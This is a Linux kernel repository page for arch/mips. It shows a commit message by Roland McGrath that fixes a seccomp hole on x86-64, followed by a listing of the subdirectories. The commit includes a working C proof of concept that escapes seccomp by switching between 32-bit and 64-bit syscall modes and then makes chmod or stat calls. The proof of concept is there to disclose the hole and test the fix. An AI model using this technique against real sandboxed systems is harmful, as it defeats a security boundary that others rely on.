linux/arch/mips
Roland McGrath 5b1017404a x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
..
alchemy MIPS: Alchemy: In plat_time_init() t reaches -1, tested: 0 2009-02-27 17:56:34 +00:00
basler/excite [MIPS] kgdb: Remove existing implementation 2008-07-30 21:54:42 +01:00
bcm47xx MIPS: WGT634U: Add reset button support 2008-10-15 12:46:51 +01:00
boot [MIPS] checkfiles: Fix "need space after that ','" errors. 2007-10-11 23:46:15 +01:00
cavium-octeon MIPS: Octeon: Remove duplicated #includes 2009-01-30 21:32:57 +00:00
cobalt [MIPS] Cobalt: Fix I/O port resource range 2008-07-20 14:38:20 +01:00
configs MIPS: IP27: Switch from DMA_IP27 to DMA_COHERENT 2009-01-30 21:32:58 +00:00
dec mips: use bcd2bin/bin2bcd 2008-10-20 08:52:41 -07:00
emma MIPS: Markeins: Remove unnecessary define and cleanup comments, etc. 2008-10-27 16:18:31 +00:00
fw [MIPS] Remove mips_machtype from ARC based machines 2008-07-15 18:44:38 +01:00
gt64120/wrppmc [MIPS] remove wrppmc_machine_power_off() 2008-07-15 18:44:36 +01:00
include/asm x86-64: seccomp: fix 32/64 syscall hole 2009-03-02 15:41:30 -08:00
jazz cpumask: convert struct clock_event_device to cpumask pointers. 2008-12-13 21:20:26 +10:30
kernel Revert "MIPS: Print irq handler description" 2009-02-27 17:56:35 +00:00
lasat sysctl: simplify ->strategy 2008-10-16 11:21:47 -07:00
lemote/lm2e MIPS: lemote/lm2e: Added io_map_base to pci controller 2008-10-27 16:18:31 +00:00
lib MIPS: IP27: Switch from DMA_IP27 to DMA_COHERENT 2009-01-30 21:32:58 +00:00
math-emu MIPS: Switch FPU emulator trap to BREAK instruction. 2008-10-30 14:44:34 +00:00
mipssim [MIPS] Remove TLB sanitation code 2008-04-28 17:14:25 +01:00
mm MIPS: CVE-2009-0029: Enable syscall wrappers. 2009-02-27 17:56:35 +00:00
mti-malta cpumask: make irq_set_affinity() take a const struct cpumask 2008-12-13 21:20:26 +10:30
nxp cpumask: convert struct clock_event_device to cpumask pointers. 2008-12-13 21:20:26 +10:30
oprofile oprofile: more whitespace fixes 2008-10-15 20:55:51 +02:00
pci MIPS: RC32434: Define io_map_base for PCI controller 2009-01-30 21:32:59 +00:00
pmc-sierra trivial: fix then -> than typos in comments and documentation 2009-01-06 11:28:06 +01:00
rb532 MIPS: RB532: Export rb532_gpio_set_func() 2009-01-30 21:33:01 +00:00
sgi-ip22 MIPS: IP22: ip22-int.c header file weeding. 2008-10-27 16:18:28 +00:00
sgi-ip27 cpumask: convert struct clock_event_device to cpumask pointers. 2008-12-13 21:20:26 +10:30
sgi-ip32 MIPS: IP32: Add platform device for CMOS RTC; remove dead code 2008-10-15 12:46:52 +01:00
sibyte cpumask: make irq_set_affinity() take a const struct cpumask 2008-12-13 21:20:26 +10:30
sni cpumask: convert struct clock_event_device to cpumask pointers. 2008-12-13 21:20:26 +10:30
txx9 MIPS: TXx9: Add support for TX4939 internal RTC 2009-01-30 21:32:58 +00:00
vr41xx [MIPS] VR41xx: unsigned irq cannot be negative 2008-09-16 11:04:30 +02:00
Kconfig MIPS: CVE-2009-0029: Enable syscall wrappers. 2009-02-27 17:56:35 +00:00
Kconfig.debug MIPS: Kconfig: Fix the arch-specific header path 2008-12-12 18:12:23 +00:00
Makefile MIPS: Alchemy: Move development board code to common subdirectory 2009-01-11 09:57:25 +00:00